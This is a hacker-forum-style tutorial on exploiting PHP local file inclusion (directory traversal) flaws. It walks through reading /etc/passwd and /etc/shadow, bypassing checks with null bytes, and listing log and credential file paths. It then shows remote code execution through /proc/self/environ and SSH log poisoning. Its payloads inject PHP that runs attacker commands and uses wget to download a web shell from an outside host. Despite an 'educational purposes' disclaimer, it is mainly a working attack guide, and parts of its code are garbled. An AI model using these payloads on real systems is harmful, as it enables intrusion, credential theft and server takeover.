DIRECTORY TRAVERSAL ATTACK (LFI) . By: Mohamed Ahmed .

hello again .
it has been along time since i wrote some tutorials but many had asked me to write about web hacking and
Exploitation so here you are .

i will start it gradually from beginning until you reach the top . and i prefered to start with LFI bwcause it is one of the most basic hacking techniques that you need to master.

A Directory traversal attack is also called a Local File Inclusion or LFI.
so you can use google to find more about it :)

Warning: This Is for Educational Purposes Only .I Am Not Responsible for the Misuse of This Explanation.

first let's see a Vulnerable code
PHP code like the following is vulnerable to LFI attacks:

CODE:

$template = 'red.php';
if (isset($_COOKIE'TEMPLATE'))
$template = $_COOKIE'TEMPLATE';
include ("/home/users/phpguru/templates/" . $template);

If this code would actually be used then you can send the following HTTP request:
CODE:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Will this result in a server response as follows:
CODE:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

as you can see we have abused the code and the contents of / etc / passwd can be watched .

notice
_______

This piece of code will never have to be used in the real world because there is nowhere checked what the value of $ template is.

Unfortunately, code like this is used relatively often in the real world.

So What can you do ??
you can use this vulnerability in your favor as follows.......

Due to the above vulnerable code it is possible a file path to pass in the URL. Then the given file path is included on the webpage.

As you can see you can choose which traffic paths you gives, we can in principle view each file on the web server.
It is not possible to view the contents of directories (folders / folders) we can only view files.<<<<<<<.

Linux File Paths
___________
in this tutorial that wewill deal with a Linux Web server.

Most of us know that file paths on windows start with the disk letter:
C:\
You can then specify a file location as follows:
C: \ Program files \ myfiles \ virus.exe

This means that we are talking about a file called virus.exe in a folder called myfiles talk, that folder is again
in a folder called Program Files, and that folder is located on the C disk.

In Linux use first the ( / ) instead of the ( \ ), also linux does not know drive letters.
Disks are 'mounted' and a folder refers to the files on the location.

The beginning of a linux file path starts with a (/).
/

That is the file path to 'root', which we also call the basis. / (root) .. is therefore a place where there are all folders and files, that is again folders and files. Lower than / you can not go.

An example to linux file path:

/home/myfiles/documents/explain.txt

Now there are 3 characters who will help us: ../. This indicates on linux:
'1 folder (directory) up'.

/home/myfiles/../myfiles/explain.txt

The above filepath is therefore the same as the file path above it.
so What actually is?
root> home> myfiles> directory back (back in home)> myfiles> explain.txt

We can all misuse this very well.

SoHow does it work??
______________
Vulnerable websites often have a URL that looks a bit like this:

website.com/index.php?p=main.php

This probably means that index.php will embed main.php on the page.

Let's now imagine that index.php is located on the server:

/home/website/www/htdocs/index.php

If the PHP code is as follows:

CODE:
include ($ _ GET 'p')

Main.php will be in the same directory as index.php.
Now we often do not know where index.php is, but this is not necessary.

The first goal with a Local File Inclusion is >>>>>>>>>>>>>>>>> finding the root directory.
Since we know where index.php is for this explanation:

website.com/index.php?p=../../../../

This in our case indicates the root directory. index.php contains 4 directories from root (/) and we will return 4 directories.

As we said before, we can not see which files are in a directory.
>>>>> So we have to guess file names to get behind information<<<<<<<<
_________________________________________________________
Website Testing for LFI Vulnerability:
______________________
You can test a website for vulnerability in the following way:

website.com/index.php?p=main.php

If we now replace main.php with some gibbering of what we know for sure that it is not a filename, this should result in a PHP error:

website.com/index.php?p=hr89hfehidkdj.txt

If you then get a PHP error, you can assume that the website is vulnerable to Local File Inclusions.

Some websites protect their website if an attempt is made to include a file that does not exist, a redirect to
for example the home page.

This is in fact nothing else than the PHP error, it is only a neaterer
way. But be on your guard, sometimes the code checks what you do
tries to embed, and if only certain files are allowed
then the website is not vulnerable :P

_________________________________________________________*I have a vulnerable website

Suppose we now have a vulnerable website, then we first have to look at the code itself an extension behind it or that we have to give it.

website.com/index.php?p=main

This could mean that something like this is done in the code:

CODE:
include ($ _ GET 'p'. '.php');

This would mean that every file we try to embed, .php is pasted.
This is obviously not good, because we also want to be able to embed non-php files.
For this we can use a null-byte attack.

The URl view of a null byte is:% 00. This means that everything you leave behind
% 00 is ignored by the computer. So if the code is as described above
we can circumvent this by sticking% 00 behind our own path:

website.com/index.php?p=../../../../test.txt%00

For example, the .php extension will be ignored and our file will be successfully embedded.

Now that we have a vulnerable website and know if we need to use a null byte, we have to look for the root directory.
Since we can not look in directories, but can only see files, we have to start with a file that is certainly present.

Most people use / etc / passwd, to get behind the root directory we just add ../,

website.com/index.php?p=../etc/passwd
website.com/index.php?p=../../etc/passwd

Now add a ../ until you see / etc / passwd. Now you know where the root directory is and you can basically see every file on the server.

Often if you do not have the file you are trying to embed, you either get an error or a blank page.

Now you can see if a directory exists, this only works if the page displays an error or a blank page if you try to embed a file

that does not exist. If so, you can try to include a directory,
if there is an error or a blank page, then the directory does not exist; if not, it exists,
and you can guess file names.

For example, if you find out that this directory exists:

/ home / lol / www

Then you can see if there is an index.php in it, if so, embed a config file, if yes try to embed the config file and look

whether there is MySQL information.

With LFIs it is guessing, gambling and logical thinking.
_________________________________________________________
Interesting Locations
_____________

Once you have found / etc / passwd you can see if you can read / etc / shadow. In many cases this is not possible but if you are lucky. The passwords for the server are there.

So if you have / etc / passwd and / etc / shadow you can try to crack the root password in / etc / shadow and see if you can get SSH access.

It is also interesting, for example, to look for a config file containing the MySQL information. If you have that you have access to the mysql database and you can dump or modify the database.

Here are a large list of interesting locations:
=========================================================================================

QUOTE:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log

Often you can also find file paths in / etc / passwd that are interesting to view.
_________________________________________________________
Shell upload through / proc / self / environ
This method only works if you can embed / proc / self / successfully:

website.com/index.php?p=../../../../proc/self/environ

If you get something like that back:

DOCUMENTROOT=/home/sirgod/publichtml GATEWAYINTERFACE=CGI/1.1 HTTPACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 HTTPCOOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTPHOST=website.com HTTPREFERER=website.com/index.php?view=../../../../../../etc/passwd HTTPUSERAGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERYSTRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECTSTATUS=200 REMOTEADDR=6x.1xx.4x.1xx REMOTEPORT=35665 REQUESTMETHOD=GET REQUESTURI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPTFILENAME=/home/sirgod/publichtml/index.php SCRIPTNAME=/index.php SERVERADDR=1xx.1xx.1xx.6x SERVERADMIN=webmaster@website.com SERVERNAME=website.com SERVERPORT=80 SERVERPROTOCOL=HTTP/1.0 SERVERSIGNATURE=
Apache/1.3.37 (Unix) modssl/2.2.11 OpenSSL/0.9.8i DAV/2 modauthpassthrough/2.1 modbwlimited/1.4 FrontPage/5.0.2.2635 Server at website.com Port 80

Then you can go to / proc / self / environ and you can use this method to upload a shell. For this method you need Firefox with the Tamper Data addon. Google if you want to know how to use that addon.

To upload a shell, first load the URL leading to / proc / self / environ and then Tamper this request and paste the following code into the User Agent:

<? php system ('wget website.com/myshell.txt -O shell.php');?>

This will retrieve your shell from your web server and upload it as shell.php. If it does not work immediately, try the following:

<? php exec ('wget website.com/myshell.txt -O shell.php');?>

If the injection was successful, the shell will be on the web server and you can open it as follows:

website.com/shell.php
________________________________________________________
SSH Log poisoning
_____________
This way can be very effective if the server allows SSH access.
This method only works if you manage to read the SSH log, this is often located here:

/var/log/auth.log

If you manage to embed this log and view it, you can use this method. Every time someone makes an attempt to log in using SSH, OpenSSH creates a log entry in auth.log that contains the username and some other data.

We can use the username field to inject PHP code, which will then be executed when you open the log in the browser.

I assume that Linux is used, open your terminal and type the following:

ssh '<pre> <? php echo system ($ GET "cmd"); exit; ?> '@ serverip

ssh '<pre> <? php echo exec ($ GET "cmd"); exit; ?> '@ serverip

And replace server_ip with the IP of the website you are attacking.

The code you add will in principle be executed 3 times unless the PHP code is manually terminated, hence the exit in the php code.

Then you can execute commands on the server in this way:

website.com/index.php?p=../../../../var/log/auth.log&cmd=ls -la

To upload a shell we can simply use the wget command:

website.com/index.php?p=../../../../var/log/auth.log&cmd=wget mywebsite.com/shell.txt -O shell.php
__________________________________________________________
Apache Log poisoning
We can also use a method similar to SSH Log poisoning, but we use the Apache logs.
For this we use the Tamper Data addon for Firefox.

See if you can view the accesslog or the errorlog, these are often here:

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log